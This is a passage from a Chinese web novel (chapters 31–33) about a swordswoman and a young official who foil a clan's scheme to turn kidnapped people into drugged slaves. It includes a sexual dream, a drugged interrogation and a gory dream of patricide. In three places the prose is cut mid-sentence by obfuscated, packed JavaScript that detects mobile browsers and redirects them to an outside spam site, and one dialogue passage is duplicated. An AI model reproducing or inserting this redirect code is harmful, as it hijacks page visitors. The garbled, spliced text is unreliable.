你昨日明明泡了那么久的温泉,怎么会得风寒呢?” 萧韫眸中晃过一抹羞耻,搪塞道:“可能是出水后没有及时添衣。” 许妙仪点点头,觉得这理由倒也说得过去。 萧韫又自嘲一笑,道:“也或许是我上次让狗叼走了平安符,因此触怒了佛祖,遭了报应。” “佛祖才不会那么小气呢。”许妙仪哭笑不得,又打了个哈欠站起身来,嘱咐道,“既然你没事了,那我就去睡觉了,你替我告个假,然后记得去看郎中。” 萧韫应下。 许妙仪躺上床后很快就睡着了,萧韫在她榻边坐下,默默盯着她眼下的乌青,满目心疼。 倏地,他眉头微蹙,伸手捂住心口。 不知为何,每每当他沉浸在这美好的情谊中,心中总会不受控制地泛起一种焦虑、恐慌。 他的心到底在害怕什么?他到底……忘记了什么? 许妙仪这一觉直接睡到了下午。她一睁开眼,萧韫含笑的声音便响起来了:“阿双醒了。” 许妙仪伸了个懒腰,问萧韫:“你喝药了吗?” 萧韫指着案上的空碗:“刚喝过。” 许妙仪仔细嗅了嗅,捕捉到了一丝药味儿,这才放了心。 “我帮你带了饭。”萧韫又道。 许妙仪确实是饥肠辘辘,也没跟他客气。用过饭,她道:“我出去活动活动筋骨,你在房中休养着。” 来到练武场,恰好管事在指挥人搬运木箱子。见了许妙仪,管事招呼道:“劳烦许兄弟搭把手,帮忙将这箱子抬出去。” “这箱子里头是什么?”许妙仪好奇地问。 “不过是些废旧的兵器。” 许妙仪点点头,也没再多问。与另几人合力将箱子抬到镖局大门外的牛车上,许妙仪正要回程,却听得几声布谷鸟叫。细细一听,这叫声竟是遵循着三短一长的规律。 她想起来,失忆的萧韫与她说过,这是他和属下的联络信号。 虽然不明白李梧为何会尝试与她接头,但还是对同伴说了句:“替我给管事转告一声,我去买些东西。” 说罢,她一路东拐西绕,来到了一个清冷的巷道中。 李梧如约现身,开门见山道:“我实在担心郎君的身体,但郎君没出镖局,我就只好来问你了——郎君没有发高热吧?” 许妙仪心想这侍从当真是忠心耿耿,答道:“发了一晚上的高烧,不过现在已经退了。” 李梧闻言大惊:“郎君居然没用药吗?” “药?”许妙仪敏锐地察觉到了什么,连忙追问,“你是说,在他发烧前,你就已经给他准备了风寒药?” 李梧点头:“对啊。” “你为何会给他提前准备风寒药?细细说来。” 李梧犹豫了一下,还是诚实地将那日冷水一事娓娓道来。 许妙仪毕竟活了三十多年,又常年与男人打交道,怎么会不明白其中关窍?一时间,她心中五味杂陈。 和李梧告别后,许妙仪径直回到了镖局的厢房。 “阿双这么快就回来了?”萧韫颇感惊讶,放下了手中的毛笔。 许妙仪虽不愿损害他的自尊心,但也不能看着他每次都这么伤害自己。斟酌半晌,她还是说了出来:“我已经听李梧说了,你昨天给自己淋了冷水,所以才会得风寒。” 听了这话,萧韫面上的表情便有些挂不住了,心里恨不得把李梧丢去喂熊。但他很快又敛起情绪,云淡风轻地道:“那池水太热了,泡得我头晕。” 许妙仪叹了一口气,道:“你不用瞒我,其实我都懂。” 31.尴尬 听了这话,萧韫面上的表情便有些挂不住了,心里恨不得把李梧丢去喂熊。他很快又敛起情绪,云淡风轻地道:“那池水太热了,泡得我头晕。” “那也不应该用如此极端的方式!你这么大个人了,难道不知冷热交替是最容易得风寒的吗?”许妙仪怒道。 “我……”萧韫正欲辩解,却忽然又意识到了什么,不自觉地弯起唇角,“阿双是在担心我吗?” 许妙仪顿了一下,随后冷哼一声,扭过头去,道:“毕竟你救了我,我有义务关心你的身体恢复。再说了,你若一直不康复,以后岂不是都要靠我保护你?那可不成,我不养小白脸。” 萧韫思索片刻,一本正经道:“那我明日得出去晒晒太阳。” “做什么?”许妙仪不解。 萧韫灿然一笑:“晒成小黑脸——你可没说不养小黑脸。” 许妙仪:“……滚。” 这夜睡下,萧韫迷迷糊糊地又回到了那个热气氤氲的汤池。 不知从何处飘来了一丝熟悉的甜香,叫他整颗心都为之一颤,身体骤然起了变化。随着这香气愈发浓烈,白雾中出现了一个人影。 人影愈来愈近,其五官逐渐清晰了起来。乌发凌乱地贴在雪白的脸颊、脖颈,眉睫湿润,双眼含情,唇色殷红,像春雨中娇颤的花枝。 萧韫呼吸一滞,心脏狂跳起来,下意识地想要逃离,却怎么也动不了。 许妙仪在他面前一尺处停下,声音是前所未有的娇媚,活像一个勾人的女妖:“你想不想看看我水下的身子?” 萧韫连忙摇头。 “真的吗?”许妙仪笑盈盈地,伸出两条纤细但又有着明显肌肉线条的胳膊,轻轻搂住他的脖颈。随着“哗”的一声,她整个身躯都贴了上来。 两人鼻尖相对,呼吸交缠。 萧韫感觉自己的体温还在不断攀升,心底隐秘的欲-望几乎要破土而出。 “嘴上说着不想,你的身体倒是诚实得很嘛……”许妙仪唇角带着一丝恶劣的笑意。 萧韫从未如此无措过,只想找个地缝钻进去。 “承认吧,”许妙仪贴到他耳侧,轻轻呢喃,“你就是对我心怀不轨……你想欺负我,占有我……” “不是!”萧韫猛然惊醒,一身冷汗。 视线昏暗,身下床板坚硬,正是他在镖局的房间。 他松了一口气,却又后知后觉地发现裆部有些黏腻。 那是什么自不必多说,他脑中顿时炸开“轰”的一声,羞耻、懊恼的情绪洪水般涌了上来。 他和阿双还没有成亲,他怎么就频繁地有这种念头? 有生以来,他第一次觉得自己……有些下贱。 萧韫深吸几口气,侧头往许妙仪的方向看了一眼,确认她还在睡梦之中,方轻手轻脚地下床寻了条新的亵裤换上。他又深觉这条脏污的不能留了,于是找出一个火折子,披上外衣出门去了。 房门轻轻关闭的同时,黑暗中的许妙仪睁开了眼。 其实她一直没有睡着,大概是因为白日里睡了一场长觉,将倦意都提前消磨了。 听见萧韫起床的动静,她心生好奇,悄悄瞥了一眼。两条白花花的腿映入眼帘,她吓了一跳,连忙收回了视线。惊悸之余,她心中的狐疑也更深了。 以往萧韫起夜,都是披件外衣就走,如今怎的还要专门换条裤子?由此看来,这必定不是寻常起夜。 虽说目前她和萧韫的关系进了一步,但她心底总还是留有一分警惕的。 于是她佯装熟睡,待萧韫出了门,方才披衣跟了上去。 萧韫抱着团成一团的亵裤,蹑手蹑脚地来到一处院墙下,掏出火折子点亮。正要将火折子递到亵裤上,却如鬼使神差一般,他又掀开布料瞧了一眼。 许妙仪从树干后探出头来,借着火光,清楚瞧见那布料上有一团乳白色的粘稠液体。 她愣了一下,随即快速反应过来那是什么,心头猛然一跳,下意识地想要逃离。然她心中慌张,脚下步子也乱了,竟踢到了一粒小石子。 “谁?!”萧韫敏锐地捕捉了这细微的动静,心下大惊。他快速将火折子丢到布料上,紧接着起身朝着声源方向甩出两枚飞镖。 许妙仪灵活躲过飞镖,向黑暗中夺路而逃。 萧韫生怕这是敌人派来监视他的,于是从地上抓了一把石子,拔腿追了上去。他虽然伤势未愈,但此刻在大脑紧急的调动下,竟也是身形如风。 许妙仪忽觉背后一阵疾风袭来,不得不侧身一避。 就是这么一个短暂的空隙,萧韫便闪到了她跟前,伸手拦住了她的去路。 借着皎洁的月光,萧韫终于得以看清眼前人的面貌,不禁浑身一震:“阿双?怎么是你?!” 这对他来说,简直是噩耗中的噩耗。 许妙仪尴尬不已,讪讪一笑:“我看你半夜出门,不太放心,就跟了上来。” 萧韫一颗心几乎沉到了谷底,小心觑着许妙仪的神色,试探着问:“你有看见什么吗?” 许妙仪连忙摇头:“我什么也没看见!” 看许妙仪如此反应,萧韫便确定她看见了,面上血色瞬间褪尽,满脑子都是:她会怎么想我?她会觉得我心思肮脏,因此厌弃我吗? 他似乎从来没有这么在意过别人的看法。 半晌,他忽而低低笑了一下,问:“你是不是觉得我……很下贱?” 一句近乎于自毁式的话语,但又隐隐地含着一丝卑劣的期盼。 “当然不会啊,这不是人之常情吗?怎么能跟品格扯上关系?”许妙仪纳罕道。 萧韫听到了梦寐以求的话语,反而有些不敢置信了,愣愣道:“真、真的吗?” “我骗你做什么?”许妙仪失笑道,“是人都会有欲-望的,性也是其中之一,这无可厚非。” 说着,她忽然又联想到了什么,犹豫着问:“所以,你昨天浇冷水,是因为……那个?” 萧韫垂着长睫,低低“嗯”了一声。看似平静,其实他浑身却如火燎,心想:幸好是在夜里,否则他当真要无地自容了。 许妙仪对于萧韫的回答颇感意外,又问:“你……一直都是用这种法子?” 萧韫摇了摇头,小声道:“以前少有这感觉,就算有,也很快就会消失,不足为扰……” 这倒是许妙仪没想到的,一时心中五味杂陈。但见萧韫这般局促,她心中的尴尬反而消弭了几分,好心提醒道:“冷水淋多了对身体不好,容易风湿骨痛。你下次不要再这样了。” 反正如今事情都捅破了,也不差这一句。 许妙仪又想到自己毕竟比萧韫多活了十几年,于是渐渐不扭捏了,摆出年长者的姿态,教育道:“你也别老想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14250325|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压抑,憋久了对身体不好。” “不行。”萧韫认真道:“我们还没成亲,不可行周公之礼。” 许妙仪啼笑皆非:“欲/望又不是只能通过周公之礼来疏解。” “什么意思?”萧韫不解。 “哎呀,就是……”许妙仪也有点不好意思直说了,脸颊发起烧来,最终破罐子破摔般说,“用手呀!” 见萧韫仍是面带疑惑,许妙仪连忙补充道:“这个你自己去摸索,我可不能教你!” 萧韫却问:“你……是怎么知道的?”说这话时,他直勾勾地盯着许妙仪,眸中透着几分忐忑。 许妙仪暗道,她在军营里待了那么久,一些个男人有事没事就爱说那档子事,她想不知道都难。 但她不愿透露穿越一事,于是搪塞道:“我偶然在外头听到的。” “原来如此。”萧韫的眉头这才松了几分。 许妙仪忽而察觉到了一丝异常:“怎么有股血腥味?” 萧韫这才注意到背上丝丝缕缕的疼痛,道:“大概是我背上的伤口裂开了。” 许妙仪登时心生恼怒,却一时也不知道该怪谁,最终只叹道:“回去上药吧。” 萧韫犹豫了一下,扭捏道:“我想回去看看……那东西是否处理好了。” “行。”许妙仪笑道,“那我先回去了,你快些。” 确认布料已经烧成灰了,萧韫方放心地回到房中。 房中点着一盏蜡烛,昏黄的光映出许妙仪的身影。她坐在案边,正摆弄着案上的药瓶。察觉萧韫来了,她扭头看来,招手道:“来,我帮你上药吧。” 萧韫心口猛然一跳,竟莫名有几分抗拒。不是厌恶的“抗拒”,而更像是……近情情怯。 “莫非你自己能行?”许妙仪挑眉。 萧韫抿了抿唇,慢吞吞地背对着许妙仪坐下,又开始慢吞吞地解衣带。 透着点点血色的衣衫渐渐褪下,露出遒健的肩后肌肉。 许妙仪心中莫名闪过一丝慌乱。 前世她帮不少男性战友上过药,都不觉得有什么,所以她也自然地提出替萧韫上药。然而真当他脱下衣服,她却又有些不好意思了。 明明,他的身体和那些人也没什么不一样,甚至还比不上他们…… 衣裳再下落几分,便露出了被侵染成殷红色的纱布。萧韫又解开纱布,现出四道狰狞的伤口,几乎横亘大半个后背。新生的粉肉裂开了不少,渗出丝丝血迹,叫人看着就胆战心惊。 这是许妙仪第一次直面他的伤口,只觉心脏被一只手揪住了,难受得很。她深吸几口气,努力压下这种情绪,开始用手帕为他拭去血迹。 每一下动作都很轻柔,却又狠狠牵动着萧韫的心。 满室静默之中,心跳的声音被无限放大。 窗外,风声萧萧。 先止血,接着上金创药,最后是缠纱布。许妙仪让萧韫抬起双手,再倾身贴近,双手从两侧穿到他前方,扯开纱布。 每绕一圈,都是一次克制的拥抱。 许妙仪给纱布打好结,长舒一口气,却忽然惊觉自己出了一身的汗。她揉了揉太阳穴,强自压下心中杂念,起身道:“睡吧。” 萧韫恰好穿好衣服,“嗯”了一声,吹灭了蜡烛。 许妙仪正要往回走,却忽然捕捉到外间一阵轻微的脚步声。 32.行动 萧许两人警惕地对视一眼,许妙仪道:“你还有伤,先去睡吧,我来。” 萧韫颔首,找出一个小漆盒递给许妙仪,接着就躺回了床上。 许妙仪打开漆盒,随着一股浓郁的异香扑面而来,一方素色手帕映入眼帘。她连忙屏住呼吸,取出手帕攥在手中,随即快速窜入门后的阴影中。 足音越来越近,最终在门前停下。接着传来一声“咔”的轻微闷响,是门上的桐油纸被戳开了一个小洞。小洞中伸出一支铜管,管中冒出缕缕白烟。 许妙仪继续屏息敛气,耐心等待着。 没多久,一阵“哐哐哐”的声响传来,似乎是在撬门。很快,“吱呀”一下,门被轻轻推开,一道黑影蹑手蹑脚地进来了。 许妙仪在暗处死死盯着他,待他一关上门,她便一个箭步上前,一手搂他的脖子,一手用香帕捂住他的口鼻。 那人“唔唔唔”地挣扎了一会儿,但很快就不动弹了。 但奇怪的是,他并没有瘫软下去,而是直直地立在原地。 许妙仪挪步到他侧面,同时又掰过他的头一瞧,见他神情呆滞,两眼发直,像是被摄了魂一般,便知道事成了,笑道:“这西域迷香效果还挺不错的。” 之前他们去黑市打听飞夏草,无意中听人介绍了这西域迷香。这是一种类似于催眠术的东西,据说它会麻痹闻者的大脑神经,使其降低对外界的警惕。故而无论问什么,中毒者都会回答。 萧韫自床上坐起身来,叹道:“这奇香三金一两,价比沉香,竟让这小贼先享用上了。” “那你也来享用享用?”许妙仪晃了晃手中的帕子,笑眯眯道。 萧韫赶忙敛起笑意:“那还是不必了。” 许妙仪嗤笑一声,将那人牵引到屋子中央,质问道:“我问你,是谁派你来的?目的又是什么?” 那人木然张嘴,缓慢地吐出几个字:“蓝……大郎君……” 果不其然。 许妙仪又问:“蓝大派到明远镖局的卧底,除了你之外还有谁?” 那人顿了顿,随后开始报名字:“陈五、赵四……杨明……” 听到“杨明”二字时,萧韫看向许妙仪,赞道:“阿双观察力之敏锐,果然非同一般。” 许妙仪颇为得意地笑了笑。 他们回到镖局那日,遇见了剑玄楼的薛护法。又恰好杨明走镖回来,与薛护法擦肩而过。 当时许妙仪就觉得,杨明看那薛护法的眼神不太对,表面的惊疑之下似乎还隐藏着什么。后来她与萧韫讨论了一番,得出那不明显的情绪是“担忧”。 试问,若他忠诚于蓝钰,为何会以担忧的目光看蓝钰的敌人? 更何况,薛护法当时还侧头看了杨明一眼,这就更加深了萧许两人的怀疑。 但这些毕竟都只是猜测,于是他们布下了今日这局。 人都是有惰性的,没有谁会乐意舍近求远。薛护法若真与杨明或镖局中的其他卧底有交情,一定会委托他们以各种手段来得到飞夏草。对薛护法来说,此招虽险,胜算却大。 如今看来,他们猜对了。 许妙仪取出装着飞夏草的盒子,将其塞到那人手中,道:“记住,你今夜的行动很成功,没有出任何岔子……回去吧……” 那人愣愣地点了点头,慢吞吞地转身出门了。 “接下来,就要看你那边了。”许妙仪对萧韫道。 “放心吧,某何时让阿双失望过?”萧韫语气含笑。 许妙仪无语地笑了一声,不再说话。 * 大堂富丽堂皇,却是尸横遍野、血流满地。 蓝钰提捧着一个锦盒,面带微笑地跨过残肢断臂,缓步走向缩在主位上的男人。男人哆嗦的身躯早已不如青年时英武,头发也花白了,往日炯炯有神的眼中盛满了恐惧。 “你、你要做什么?”男人的声线也是颤抖的。 蓝钰在男人跟前站定,语气乖顺恭敬:“自然是给您祝寿啊,父亲大人。”说着,她递出盒子。 蓝远宏眼中划过一抹警惕,犹豫半晌,还是伸手接了过来,小心翼翼地掀开盒盖。他先是一愣,随即不可置信地圆睁双目,颤抖着手从中捧出一个人头,抱在怀里失声痛哭起来。 蓝钰欣赏着父亲的表情,笑意中透出一丝残忍:“父亲觉得女儿的寿礼如何?喜欢吗?” 蓝远宏不接话,蓝钰继续火上浇油:“你知道吗?蓝熠被我围困之时,像一条狗一样趴在地上,跪地求饶、摇尾乞怜……” “你!你这逆子!”蓝远宏布满血丝的浑浊双目狠狠瞪向蓝钰,咬牙切齿道,“他是你的同胞兄长,你为何要如此残忍?!” 蓝钰冷笑一声,道:“我们空有血脉相连,却无半分手足情谊。蓝熠同样也想杀了我,但终究还是我技高一筹。” 蓝远宏的气焰瞬间短了一大截,扭头不再说话了。 “父亲,从小到大,无论是在哪一方面,我都比蓝熠出色。”蓝钰幽幽道,眸中恨意滔天,“可你却认为,女儿是没有用的,于是处处偏心蓝熠,甚至还引导他去打压我,以此获得成长——在你眼中,我只不过是他的一个跳板!!!” 蓝远宏咽了口口水,眼神闪躲,躯体颤抖的幅度愈发大了。 蓝钰忽而又笑了出来,张开双臂后退两步,转了个圈,朗声道:“您看,你错了吧?如今,我才是胜利者!” 她的笑声回荡在这空荡血腥的屋宇中,有如鬼魅般渗人。 蓝远宏抱紧了儿子的头颅,紧闭双眼。 蓝钰止住笑声,温柔地对蓝远宏道:“父亲,您不是最爱你的儿子了吗?那您就下去陪他吧,免得他一个人孤单……” 她一边说着,一边缓缓从袖中抽出匕首。 蓝远宏浑身一震,连忙甩开儿子的人头,扑到女儿脚边,苦苦哀求道:“阿钰,我是你的亲生父亲啊……你小时候不喜欢吃饭,我就给你买零嘴……” 蓝钰恍然未闻,噙着一丝阴狠的笑意,高高举起匕首—— 眼前的画面猝然消散,蓝钰睁开眼,映入眼帘的是熟悉的罗帐顶,空气中还残存着旖旎的气息。 “主人醒了?”耳边传来青年温柔的声音。 蓝钰侧头看去,枕边有一个面容清秀的青年正笑看着她。 这张男宠的脸提醒了蓝钰,她还在阳泉的镖局中,她的大计也远远没有实现。 原来方才那些都是梦啊。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262500|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 蓝钰失落无比,随即又生出一阵烦躁,抬腿狠狠踹了一下那青年,骂道:“滚!” 青年神情惶恐,连忙起身退下了。 半个时辰后,蓝钰用过早膳,决定去地牢里转转。 拧动隐秘的机关,屋子中央的地板便自动收缩了起来,露出黑黢黢的通往下方的楼梯。 走下楼梯,空间便宽阔、明亮起来,原来这是一个天然的地下石洞,两侧石壁点着火把。前方空间收窄处立着一扇宽大的铁门,门边站着一个玄衣带刀侍卫。 侍卫本打着瞌睡,迷迷糊糊中见蓝钰来了,他连忙打起了精神:“郎君!” 蓝钰蹙眉环顾四周,见附近再无其他人影,不悦地问:“怎么就你一个人?” 地牢的值班通常都是安排两人。 侍卫笑道:“杨明兄有娇妻在怀,出门时难免耽搁。” 他话音刚落,蓝钰后方便传来一道气喘吁吁的声音:“好小子,又在背后说我坏话!” 蓝钰转过身,见杨明匆匆奔来,额上的汗滴在火光映照下泛着亮,一晃一晃的。 杨明在蓝钰面前半丈处站定,拱手道:“郎君,我半路上发现掉了东西,便又折回去找,这才耽误了时间。” 蓝钰点了点头,也没多问,只道:“下次注意。” 能来此值守的自然都是她相当信任的人,疑人不用,用人不疑。 “多谢郎君!”杨明笑道。 蓝钰让他们打开了铁门,走进了真正的地牢。 浓烈的药味儿混杂着恶心的腥臭气扑面而来,放眼望去,宽阔的石穹下密密麻麻摆着数十张石床,床上躺着“大”字形的人,其四肢用铁铐固定,神情无一例外的都很呆滞。 除了横着的人,倒也有七八个竖着的人,均是中年妇人。她们或在角落捣药,或给床上的人扎针——这是一种蓝氏秘传的特殊技法,以针灸配合药物,十五日即能让人失去自主意识,变得无比乖觉。 见了蓝钰,妇人们纷纷围了过来:“郎君怎的来了?” 蓝钰捏着鼻子询问情况,得知一切顺利,便快速离开了。 走出铁门,蓝钰叮嘱道:“最后几天尤为关键,你们要打起十二分的精神。” “是!”两人齐声应道。 不知怎的,这一整日,蓝钰总觉得心里有些不安,右眼皮跳个不停。她只能不断在心里安慰自己,这都是迷信…… 谁知到了夜间,竟然真有一个不幸的消息降临了—— “全部死了?!”蓝钰又惊又怒,竟是直接从椅子上站了起来。 “是……”庆三只恨不能把头埋进地里。 “怎么回事?!”蓝钰急急追问。 “有人在奴隶的食物中投了鹤顶红。”庆三答道,“属下已经命人去厨房拿人了。” 蓝钰冷笑一声,咬牙道:“还真是下了大手笔啊……” 庆三大气不敢出,只觉要被这低沉的气氛压垮了。 好半晌,蓝钰方幽幽道:“让人丢去乱葬岗吧。” 庆三如蒙大赦,道了声“是”,转身往外。 这时,忽然有个侍卫小跑进来,禀报道:“郎君,外头有人求见,说是……知道是谁下的毒。” 33.山岗 “黑脸”是一个人的绰号,其人如其名,肤色黝黑。 蓝钰对他有点印象,知道是两年前就跟着自己了,虽然忠心,但能力有限,故而她并不是很看重他。 黑脸对着蓝钰拱手一拜,开门见山道:“郎君,我今晨出去办事,远远看到了杨明。我见他走着走着突然拐进了一个巷子,心生好奇,于是跟上去一瞧,见他正在与几个人说话。因为隔得远,我听不太真切。 而到下午,我听旁人取笑杨明,说他是因为掉东西才迟到的——他故意隐瞒迟到缘由,必定是有所不轨。” 庆三面色微变,凑到蓝钰耳边提醒道:“郎君,这黑脸素来与杨明关系不好……” 蓝钰冷冷瞥了庆三一眼,庆三心头悸动,连忙停了嘴。 “把杨明带来。”蓝钰沉声道。 * 厢房中,许妙仪坐在榻边的案前练字,萧韫则倚在床上看书。 书上的字他是一个没看进去,眼神总不受控制地往许妙仪那边飘。纠结半晌,他还是掀被下床,佯装不经意地走到许妙仪身后,问:“阿双在写什么?” 许妙仪道:“我在练字。” 萧韫又走近几步,探头一瞧。但见许妙仪笔下的字圆润疏散,他神情一僵,好半晌才憋出来一句夸赞的话:“阿双这字真是古韵十足,非同凡响!” 许妙仪叹了口气,道:“我知道你想说我写得丑。” 萧韫正欲辩解,却见许妙仪扭头对他笑了一下,道:“不如请精通文墨的萧御史来指点一下?” 萧韫一愣,脑中不自觉浮现出了他握着许妙仪手的画面,一时竟有些羞赧。 就在这时,一阵“笃笃笃”的敲门声响起。 萧韫去开了门,门外站着庆三。庆三阴沉着一张脸,视线略过萧韫,直接对许妙仪道:“临时有个任务,你待会儿直接去郎君私院。”说罢,他便离开了。 许妙仪和萧韫对视一眼,皆知他们这出“借刀杀人”成了。 借蓝大的刀,杀蓝钰的人。 执刀人是杨明。 一来,他受蓝钰的信任,能够直接接触到奴隶,动手方便。 二来,他既是为了蓝大卖命,自然是不希望蓝钰好的。若使其吸入西域迷香,告知“下毒”的计划,他会很快接受。 再者,杨明并不住在镖局,这为他们以迷香控制他提供了有利条件。 这么一来,既能救下奴隶,也能进一步激化蓝家内部的矛盾,实在是个一石二鸟的好计策。 其实为了稳妥起见,他们还准备了另一套计划。但如今看来,是不必启用了。 许妙仪一边收拾东西,一边对萧韫道:“你好好休息,我去去就回。” “注意安全。”萧韫叮嘱。 许妙仪“嗯”了一声,快速出门去了。走到半路,她忽然意识到,他们似乎已经形成了关怀彼此的习惯。 一路上,许妙仪遇见不少往私院赶的镖师。 众人来到私院,只见院中摆着许多口巨大的箱子。 站在庭中的管事见到他们,让人领他们去到地牢。 巨大的石洞中,一个个原本鲜活的生命如今被摆在一张张石床上,了无生气。 许妙仪看着这场景,心中半是震撼半是愤懑,隐隐还有一丝庆幸。 她目光移向边缘,只见贴墙摆着一张长桌。桌上摆着几个药臼,桌下立着一个大药炉。 这些大概就是让人变“听话”的秘技。 萧韫的手下给杨明施香时曾询问过这秘技,杨明只说是以药物佐以针法,具体的他不清楚。 如今这秘技就摆着许妙仪眼前,她的心脏不由得砰砰直跳。 她不仅想救那些处在人拐子忧患下的人,更想救回那些已经被做成奴隶的人。所以,得到他们的秘技是至关重要。 虽然桌上已经明显被人处理过,但药炉中必定残留有汤汁。只要能得到一点,也比没有强。 管事正在招呼着大家把“尸体”往外抬,石洞中很快乱作一片。 许妙仪往边缘走去,在经过长桌时假意一摔。借着躯体掩映,她快速推开炉盖,用袖子在药炉内壁一抹。随后,她快速站起身来,卷起袖子,若无其事地加入了抬“尸体”的队伍。 众人将尸体抬到庭中,又将其装进箱子,最后把箱子抬上候在院外的牛车上捆好。 “你们有谁愿意把这些尸体送去乱葬岗?”庆三问,“加钱的。” 乱葬岗本就是个阴森晦气的地儿,漆黑的天色更是为其蒙上了一层恐怖的面纱。但面对金钱的诱惑,还是有好几个胆大的举手了,许妙仪也在其中。 “秦山,你怎么也要去啊?你胆子那么小,就不怕尿裤子?”突然有人出声揶揄。 众人笑做一团,纷纷看向舆论中心——一个清瘦的少年。 少年明显有些发怵,但还是强撑着道:“有诸位哥哥陪伴,我怕什么?” “好小子,有志气!” 人们又笑了几句,赶着牛车出发了,形成了浩浩荡荡的一列车队。 虽然夜里会封锁城门,但阳泉城守卫本就不严格,蓝家又有些势力,稍微贿赂便过去了。 牛车到了山下便再不能行进,镖师们便只好一趟趟地把尸体扔上去,真是好一番忙活。 没了尸体,回程的队伍快了许多。谁知行至一半,秦山突然叫道:“哎哟,我有东西落在乱葬岗了!” “什么东西啊?很值钱吗?不值钱就算了,那地方怪渗人的。” “那是我母亲留给我的遗物!”秦山说着就要转身往回走,“我得回去找找!” 还没走出两步,他忽然又顿住步子,回头看向同伴们,几近恳求地问:“你们……谁能陪我回去一下?” 在其余人纷纷面露难色的同时,许妙仪挺身而出:“我陪你去吧。” 秦山感激道:“许兄,还是你够义气!” 许妙仪笑而不语。 实际上,她并非是为了义气,而是因为杨明给奴隶们下的毒并非真正致命,而是一种特殊的假死药。萧韫的人早早蹲守在附近,待镖师们一离开,他们就会将奴隶们带走。若秦山此时折返,必定会撞见萧韫的人在处理“尸体”。 回乱葬岗的路上,秦山出于害怕,不断地找着话题。 许妙仪有一搭没一搭地应着,在脑中思索万全之策…… 倏地,她心生一计,主动问秦山:“你娘留给你的遗物长什么样儿?你提前说与我听,我待会儿好帮你找。” 秦山道了声谢,开始描述:“那是一个蓝色的香囊……” 说话间,两人已经走上了上山的坡。前方隐约现出几座坟包的轮廓,在清冷的月色下冒着阴森鬼气。 秦山不自觉地贴近许妙仪,同时口中的话也更密了。说着说着,他忽然意识到一丝不对劲——自从上山后,许双似乎一直没回过他的话啊。 他顿觉一股寒意自脚底升起,迅速窜至四肢百骸。他握上腰间的佩刀,小心翼翼地朝许妙仪看去。 许妙仪察觉到秦山的感情变化,缓缓扭头与他相视,努力扯出一个诡异的笑容。 “啊——鬼啊——”秦山惊恐地尖叫一声,拔腿就往山下跑,奔命一般。 许妙仪没想到他反应这么激烈,不禁觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272656|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好笑。 不过把人吓成这样,她心中终究还是有些愧疚的。为了弥补,她会帮他寻到母亲的遗物。 她扭回头正要继续往山上走,余光却忽然瞥见左前方有一道鲜红的影子。 心头猛然一跳,她握住剑柄,朝那方看去—— 月光惨白,山野寂寂,坟茔高低远近错落,一个血人就那么孤零零地立在那儿,像是从地狱里爬出来索命的修罗。 许妙仪见过尸横遍野,见过血流漂橹,自诩胆量非同一般。然而如今她猝然见了这场面,竟也觉头皮发麻。 难怪秦山反应这么激烈,原来是看见了她背后的这个血人。 许妙仪深吸几口气,很快平复心情,但她按在剑柄上的手并没有松开。 双方就这么沉默地遥相对峙。 但没多久,那血人身形一晃,随即如一片落叶般坠下。 许妙仪犹豫了一下,随即抬步朝那人走去。 离得越近,血腥味便愈发浓郁,几乎使空气都稠滞了。这人仰躺在地,仿佛是从血池中滚过,只能依稀分辨出是个年轻的男子。 许妙仪目露几分怜悯,用剑鞘戳了戳他,确定他已经失去了意识,方在他身旁蹲下,伸手去探他的鼻息。 还有一丝微弱的气息。 许妙仪连忙掏出止血丹药给他喂下,又为他按压几个较大的创口止血,再撕下衣角包扎。最后,她在他身旁燃起一个火圈,以免有野生动物循着血腥味儿而来。 “你且等等我,我待会儿就回来。”许妙仪低声说罢,继续往山上而去。 翻过山头,便远远看见一队玄衣人正在忙活着抬人。 察觉到有人靠近,玄衣人纷纷警觉地抽出刀剑。 为首的李梧认出了许妙仪,让众人放心继续,自己则跑到了许妙仪身边,问道:“娘子怎的折返回来了?” 许妙仪将秦山一事简单说了一遍,请李梧帮忙寻找香囊。 俗话说人多力量大,很快那只香囊就被送到了许妙仪手中。 许妙仪收好香囊,又道:“我还想请你们帮一个忙。” “娘子尽管吩咐。”李梧道。 他心想,既然如今郎君喜欢她,那她就算他半个主子,只要要求不太过分,他都应该帮忙。 “我在前面捡到一个人,遍体鳞伤的,我想请你们帮忙把他抬回去,再请万郎中为他医治。” 李梧面露犹豫:“可……万一那人是个十恶不赦之徒呢?” “他看起来太可怜了,我没办法坐视不理。”许妙仪道,“如果他真的十恶不赦,我以后再亲手杀了他便是。” 李梧这才应下,叫来两个人跟着许妙仪去抬那少年。 把少年交给了李梧等人,许妙仪便打道回镖局了。 房中灯火已熄,许妙仪轻手轻脚地关上门,却听萧韫略显沙哑的声音响起:“回来了?你身上怎么有股血腥气?” 